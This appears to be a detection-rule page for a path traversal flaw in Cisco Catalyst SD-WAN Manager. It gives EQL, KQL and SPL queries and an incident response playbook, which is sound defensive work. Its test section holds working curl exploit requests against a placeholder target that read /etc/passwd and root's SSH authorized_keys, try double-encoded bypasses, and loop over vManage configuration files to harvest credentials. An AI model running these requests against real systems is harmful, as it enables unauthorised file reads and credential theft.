CVE-2026-20262 Elastic Security · Elastic

Detect Cisco Catalyst SD-WAN Manager Path Traversal Exploitation in Elastic Security

Detects exploitation attempts targeting CVE-2026-20262, a path traversal vulnerability (CWE-22) in Cisco Catalyst SD-WAN Manager. Active exploitation has been confirmed by CISA KEV. Attackers can traverse directory boundaries via crafted HTTP requests to access sensitive files outside the web root, potentially exposing credentials, configuration data, or enabling further compromise of the SD-WAN management plane.

MITRE ATT&CK

Tactic
Initial Access Discovery Credential Access

Elastic Detection Query

Elastic Security (Elastic)
eql
sequence by source.ip with maxspan=5m
  [network where event.category == "network" and
   url.path : ("*../*", "*..%2f*", "*..%2F*", "*%2e%2e%2f*", "*%2e%2e/*") and
   url.path : ("*/dataservice/*", "*/management/*", "*/template/*", "*/config/*")]
  [network where event.category == "network" and
   http.response.status_code in (200, 201, 206) and
   url.path : ("*../*", "*..%2f*", "*..%2F*")]
critical severity medium confidence

EQL sequence detection correlating path traversal requests to Cisco SD-WAN Manager API paths with successful HTTP responses, indicating successful file read exploitation.

Data Sources

Elastic SIEMFilebeat HTTP logsPacketbeat

Required Tables

logs-*filebeat-*packetbeat-*

False Positives & Tuning

  • Security scanning platforms that chain multiple traversal requests during assessment workflows
  • SD-WAN Manager upgrade or migration processes that generate sequential API calls with unusual paths
  • Monitoring integrations that poll multiple SD-WAN endpoints in rapid succession

Other platforms for CVE-2026-20262


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Basic Path Traversal File Read via SD-WAN Manager API

    Expected signal: Web server access log entry with URI containing '../../../../etc/passwd', HTTP response code 200 or 400/403 depending on patch status, source IP of test host

  2. Test 2URL-Encoded Path Traversal Against SD-WAN Template API

    Expected signal: Access log entry with raw URI containing %2e%2e%2f sequences targeting /template/ endpoint, HTTP response code logged by web server before or after URL normalization

  3. Test 3Double-Encoded Traversal Bypass Attempt

    Expected signal: Access log entry with double-encoded URI; if the server double-decodes the URL, a subsequent audit log event showing /etc/passwd file access at the OS level

  4. Test 4Traversal to SD-WAN Configuration File for Credential Harvesting

    Expected signal: Multiple HTTP requests in quick succession with traversal sequences targeting vmanage configuration paths; response sizes indicating file content if successful


Response Playbook

Triage

  1. Immediately verify whether Cisco Catalyst SD-WAN Manager is exposed to untrusted networks (internet-facing or accessible from compromised segments); check firewall rules and ACLs restricting access to management ports (TCP 443, 8443, 8080).
  2. Review SD-WAN Manager web server access logs for the past 72 hours for any HTTP requests containing path traversal sequences (../, ..%2f, %2e%2e%2f) targeting /dataservice/, /management/, /template/, or /config/ API endpoints.
  3. Cross-reference source IPs from traversal attempts against threat intelligence feeds and known scanner IP ranges; flag any non-scanner IPs for immediate escalation.
  4. Check SD-WAN Manager application logs (/var/log/nms/ or equivalent) for authentication anomalies, unexpected file reads, or privilege escalation events correlated with traversal attempts.
  5. Determine whether any traversal attempts received HTTP 200 responses, which would indicate successful file retrieval and potential credential or configuration exposure.

Containment

  1. If active exploitation is confirmed, immediately isolate the SD-WAN Manager instance from the management network using an emergency ACL or firewall rule blocking all inbound connections except from trusted administrative subnets.
  2. Rotate all credentials accessible via the SD-WAN Manager, including admin accounts, API tokens, BGP/IPsec pre-shared keys visible in configuration, and any SSH keys stored on or accessible from the management host.
  3. Apply the vendor patch from Cisco Security Advisory cisco-sa-sdwan-arbfw-c2rZvQ immediately; if patching is not immediately possible, implement a WAF rule blocking requests containing traversal sequences to the SD-WAN Manager FQDN/IP.
  4. Suspend all active SD-WAN Manager API sessions and force re-authentication after containment measures are in place.

Evidence Collection

  1. Collect full web server access logs from SD-WAN Manager (Apache/Nginx/embedded), preserving timestamps and raw URI fields without URL decoding, for the 7-day window preceding detection.
  2. Export SD-WAN Manager audit logs, system logs (/var/log/syslog, /var/log/auth.log, application-specific logs), and a filesystem snapshot of directories accessible via traversal (e.g., /etc/, /home/, /root/) to verify whether sensitive files were accessed or exfiltrated.
  3. Capture network flow data (NetFlow/IPFIX) for all connections to and from the SD-WAN Manager management IP to identify potential data exfiltration channels or C2 callback activity post-exploitation.

Escalation Criteria

  • !Escalate immediately to incident response if any traversal attempt received a successful HTTP response (200/206) targeting /etc/passwd, /etc/shadow, SSH keys, or SD-WAN configuration files containing credentials or encryption keys.
  • !Escalate if post-exploitation indicators are observed: new admin accounts created on the SD-WAN Manager, unexpected outbound connections from the management host, changes to SD-WAN overlay policies, or evidence of lateral movement to connected edge routers/vEdge devices.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Web server access logs on SD-WAN Manager containing raw (non-decoded) URI fields with traversal sequences
  • >SD-WAN Manager application audit log entries showing unexpected file read operations or API calls from external IPs
  • >OS-level audit logs (auditd on Linux) recording open() syscalls for sensitive files like /etc/passwd or SSH key material
  • >Memory forensics of the SD-WAN Manager web process for injected code or unexpected child processes if exploitation extended beyond file read
  • >Network captures showing HTTP response body sizes inconsistent with normal API responses, indicating file content was returned

Tuning Guidance

Start by suppressing known vulnerability scanner source IPs (Qualys, Tenable, Rapid7 cloud scanners) and internal security tooling hosts. Add the SD-WAN Manager's own management subnet to an allowlist exclusion if internal automation generates traversal-like paths. Tune the traversal depth threshold from 1 to 2+ levels if false positive rates are high in environments with complex API gateway rewriting. For high-fidelity alerting, add a condition requiring HTTP response code 200 and a minimum response body size (>500 bytes) to target likely successful file reads. Review and update the sensitive path list quarterly as the SD-WAN Manager software evolves.


Hunting Queries

Threat hunt across 7 days of SD-WAN Manager logs to identify all path traversal activity, including multi-level traversal (3+ levels deep), URL-decoded path analysis, and correlation with HTTP success codes to identify successful exploitation vs. blocked attempts.

Hunting — KQL
kql
CommonSecurityLog
| where TimeGenerated >= ago(7d)
| where DeviceVendor =~ "Cisco" or DeviceProduct has "SD-WAN" or DeviceProduct has "vManage"
| where RequestURL matches regex @"(\.\./|%2e%2e[%/]){2,}"
| extend DecodedPath = url_decode(RequestURL)
| extend SensitiveTarget = iff(DecodedPath has_any ("etc/", ".ssh", "home/", "root/", "proc/", "var/"), true, false)
| summarize TotalAttempts=count(), SuccessfulAttempts=countif(EventOutcome == "200"), UniqueTargets=dcount(RequestURL), SensitiveAccess=countif(SensitiveTarget == true) by SourceIP, bin(TimeGenerated, 1h)
| where TotalAttempts > 0
| order by SuccessfulAttempts desc, TotalAttempts desc
Hunting — SPL
spl
index=network OR index=web (sourcetype="cisco:sdwan" OR sourcetype="cisco:vmanage")
| eval decoded_uri=urldecode(uri)
| where match(decoded_uri, "(?:\.\./){2,}")
| eval is_sensitive=if(match(decoded_uri, "etc/passwd|etc/shadow|\.ssh/|id_rsa|authorized_keys"), 1, 0)
| bin _time span=1h
| stats count AS total, sum(is_sensitive) AS sensitive_hits, values(decoded_uri) AS accessed_paths, values(status) AS response_codes BY src_ip, _time
| where total > 0
| sort - sensitive_hits

Atomic Red Team Tests

Test 1 Basic Path Traversal File Read via SD-WAN Manager API
linux

Simulates the simplest path traversal exploit against a vulnerable Cisco SD-WAN Manager instance by requesting /etc/passwd via the /dataservice/ endpoint with a raw traversal sequence.

Command

bash
curl -k -s -o /tmp/traversal_output.txt -w "%{http_code}" "https://TARGET_SDWAN_IP:8443/dataservice/../../../../etc/passwd" -H "Accept: application/json" && cat /tmp/traversal_output.txt

Cleanup

bash
rm -f /tmp/traversal_output.txt

Expected Telemetry

Web server access log entry with URI containing '../../../../etc/passwd', HTTP response code 200 or 400/403 depending on patch status, source IP of test host

Expected Detection

Alert fires on CommonSecurityLog/W3CIISLog KQL rule matching traversal sequence in RequestURL targeting /dataservice/ endpoint; SPL alert triggers on uri field match

Test 2 URL-Encoded Path Traversal Against SD-WAN Template API
linux

Tests detection of URL-encoded traversal sequences (%2e%2e%2f) bypassing naive string matching, targeting the /template/ endpoint to attempt reading SSH authorized keys.

Command

bash
curl -k -s -o /tmp/encoded_traversal.txt -w "\nHTTP_STATUS:%{http_code}" "https://TARGET_SDWAN_IP:8443/template/%2e%2e%2f%2e%2e%2f%2e%2e%2froot%2f.ssh%2fauthorized_keys" -H "Content-Type: application/json" && cat /tmp/encoded_traversal.txt

Cleanup

bash
rm -f /tmp/encoded_traversal.txt

Expected Telemetry

Access log entry with raw URI containing %2e%2e%2f sequences targeting /template/ endpoint, HTTP response code logged by web server before or after URL normalization

Expected Detection

KQL query matches on %2e%2e%2f pattern in RequestURL; Chronicle YARA-L regex matches URL-encoded traversal in network.http.request_url field

Test 3 Double-Encoded Traversal Bypass Attempt
linux

Tests whether detections catch double URL-encoded traversal sequences (%252e%252e%252f — percent-encoding the percent sign) that may bypass single-decode normalization in WAFs or detection rules.

Command

bash
curl -k -s -o /tmp/double_encoded.txt -w "\nHTTP_STATUS:%{http_code}" "https://TARGET_SDWAN_IP:8443/dataservice/%252e%252e%252f%252e%252e%252fetc%252fpasswd" -H "Accept: */*" 2>&1 && cat /tmp/double_encoded.txt

Cleanup

bash
rm -f /tmp/double_encoded.txt

Expected Telemetry

Access log entry with double-encoded URI; if the server double-decodes the URL, a subsequent audit log event showing /etc/passwd file access at the OS level

Expected Detection

Detection rules matching on %252e or double-percent-encoding; OS-level auditd rule fires on open() of /etc/passwd by web server process user (www-data, vmanage, etc.)

Test 4 Traversal to SD-WAN Configuration File for Credential Harvesting
linux

Simulates targeted credential harvesting by traversing to known SD-WAN Manager configuration file paths where database credentials or API secrets may be stored in plaintext.

Command

bash
for path in 'opt/cisco/vmanage/conf/vmanage.properties' 'etc/vmanage/vmanage.properties' 'home/vmanage/.vmanage/vmanage.properties'; do echo "=== Trying: $path ==="; curl -k -s -o - -w "\nHTTP_STATUS:%{http_code}\n" "https://TARGET_SDWAN_IP:8443/dataservice/../../$path"; done

Cleanup

bash
No files written to disk by attacker in this test

Expected Telemetry

Multiple HTTP requests in quick succession with traversal sequences targeting vmanage configuration paths; response sizes indicating file content if successful

Expected Detection

SPL stats query aggregates multiple traversal attempts from same source IP; EQL sequence rule detects rapid successive traversal requests with 200 responses

Related Detections